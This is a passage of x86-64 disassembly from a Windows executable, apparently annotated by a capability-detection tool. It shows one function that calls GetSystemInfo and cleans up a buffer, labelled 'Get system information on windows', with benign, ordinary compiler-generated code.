xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140013630
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x14000821f
Function at 0x140008250
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x50
mov rdi, r8
mov ebx, edx
mov rsi, rcx
lea r14, [rcx + 0x40]
xor ebp, ebp
mov qword [r14], rbp
mov qword [r14 + 8], rbp
mov qword [r14 + 0x10], rbp
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x28]
mov qword [rsi + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsi + 0x38], rax
mov dword [rsi + 0x58], ebx
cmp r14, rdi
je 0x1400082c1
mov rdx, qword [rdi]
mov r8, qword [rdi + 8]
sub r8, rdx
sar r8, 5
mov rcx, r14
call fcn.14000f8b0
nop
mov rcx, qword [rdi]
test rcx, rcx
je 0x140008311
mov rdx, qword [rdi + 8]
call fcn.140010790
mov rcx, qword [rdi]
mov rdx, qword [rdi + 0x10]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140008301
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000832a
mov rcx, r8
call fcn.140013650
mov qword [rdi], rbp
mov qword [rdi + 8], rbp
mov qword [rdi + 0x10], rbp
mov rax, rsi
mov rbx, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3